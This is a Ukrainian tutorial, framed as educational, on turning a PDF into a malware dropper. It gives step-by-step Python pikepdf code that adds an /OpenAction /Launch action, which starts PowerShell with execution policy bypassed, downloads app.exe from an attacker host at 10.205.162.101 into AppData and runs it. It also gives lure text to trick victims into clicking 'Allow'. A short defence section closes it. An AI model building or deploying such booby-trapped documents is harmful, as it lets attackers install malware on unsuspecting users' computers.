Увага

Цей матеріал створено виключно в освітніх цілях та для підвищення обізнаності щодо інформаційної безпеки. Не використовуйте наведені методи для незаконних дій.

Чи часто ви, перед відкриттям чергового документа, який прийшов вам на пошту чи у будь-який месенджер, задаєтеся питанням - «А це точно не вірус?» Думаю, менше 5% скаже так.

Більшість користувачів вважають PDF-файли абсолютно безпечними - ніби це просто цифрова роздруківка тексту з картинками. Ми звикли обережно ставитися до .exe, .bat або макросів у .doc, але PDF зазвичай відкриваємо без зайвих роздумів.

Саме ця сліпа довіра робить PDF ідеальним вектором для соціальної інженерії. Це не класичний exploit вразливості, а зловживання легітимною можливістю специфікації.

1. Анатомія PDF

PDF (Portable Document Format) - це надзвичайно складний формат. Всередині це не просто текст, а набір об'єктів та «словників», які описують усе: від шрифтів до інтерактивних форм. У структурі є об'єкти типу Action, серед яких є /Launch. Він дозволяє виконувати такі дії як: перехід на іншу сторінку, відтворення звуку, виконання JavaScript, а також... запуск зовнішніх програм.

За це відповідає дія типу /Launch.

2. Чому браузери безпечніші за Adobe Acrobat?

Коли ви відкриваєте PDF-файл у Google Chrome, Edge чи Firefox, файл обробляється у ізольованій пісочниці. Вбудовані браузерні рідери максимально урізані - вони ігнорують складні Actions і просто рендерять візуал.

В нас такого багато!

Перейти

Але повноцінні десктопні програми, такі як Adobe Acrobat або Foxit Reader, створювалися для максимальної функціональності у корпоративному середовищі. Вони вміють читати і виконувати ці команди. Сучасні версії, звісно, покажуть попередження, але за допомогою хитрої соціальної інженерії (наприклад, напису в самому PDF: «Для розшифровки документа натисніть 'Дозволити'») жертва часто сама дає зелене світло на виконання.

3. Як це працює на практиці (Python + pikepdf)

Щоб змусити PDF виконати команду відразу при відкритті документа, хакери використовують параметр /OpenAction, до якого прив'язують об'єкт /Launch.

Ми відкриваємо існуючий файл (out.pdf). Параметр allow_overwriting_input=True дозволяє бібліотеці перезаписати цей самий файл при збереженні. Хакери використовують це, щоб не створювати нових файлів, а просто заразити легітимний документ:

pythonwith pikepdf.open("out.pdf", allow_overwriting_input=True) as pdf:

Створення об'єкта дії: PDF-формат складається з об'єктів та словників. Тут ми створюємо новий словник, який описуватиме, що саме має зробити PDF-рідер:

python    action = pikepdf.Dictionary(

Вказуєм рідеру, що цей словник - це інтерактивна дія. Також вказуєм параметр, який відповідає за відкриття зовнішнього додатку або відкриває файл.

pythonType=pikepdf.Name.Action,
S=pikepdf.Name.Launch,

Експлойти часто таргетують конкретні операційні системи. Словник Win містить параметри запуску виключно для ОС Windows. Якщо цей файл відкриють на Mac чи Linux, цей блок буде проігноровано:

pythonWin=pikepdf.Dictionary(

Пишем абсолютний шлях до виконуваного файлу:

python            F=r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",

Не менш головна частина — передача аргументів, які передаються в PowerShell. Це і є наш payload:

pythonP=r'-NoP -Ep Bypass -C "iwr http://10.205.162.101:8000/app.exe -OutF $env:APPDATA\app.exe; Start $env:APPDATA\app.exe"',
  • -NoP (NoProfile): Не завантажувати профіль користувача. Це пришвидшує виконання і ховає сліди від локальних налаштувань.
  • -Ep Bypass (ExecutionPolicy Bypass): Ігнорує вбудовану заборону Windows на виконання непідписаних скриптів.
  • -C (Command): Виконує наступний рядок.
  • iwr ... -OutF ...: Команда Invoke-WebRequest завантажує основний вірус (наприклад, app.exe) з сервера хакера (10.205.162.101) і ховає його в системну папку AppData (куди звичайні користувачі не заглядають).
  • Start ...: Одразу запускає завантажений вірус.

Берем нашу створену дію і перетворюємо її на непрямий об'єкт, записуючи в корінь документа (Root) під ключем OpenAction. Це означає, що дія спрацює автоматично в момент відкриття документа, навіть якщо користувач нікуди не клікав:

pythonpdf.Root.OpenAction = pdf.make_indirect(action)

Зберігаєм модифікований файл:

pythonpdf.save("out.pdf", fix_metadata_version=False)

Якщо погратися з оформленням, то може вийти величенький код:

Скріншот повного коду експлойту
Скріншот повного коду

Як захиститися?

Дисциплінований підхід до інформаційної безпеки вимагає наступних кроків:

  • Використовуйте браузери. Для перегляду скачаних резюме, прайсів чи рахунків відкривайте їх у Chrome або Edge — їхня пісочниця блокує виконання /Launch.
  • Налаштування рідерів. Якщо ви використовуєте Adobe Acrobat, зайдіть у Preferences -> Trust Manager і зніміть галочку з «Allow opening of non-PDF file attachments with external applications».
  • Уважність. Ніколи не натискайте «Дозволити» чи «ОК», якщо PDF-файл несподівано просить доступ до командного рядка чи сторонніх програм.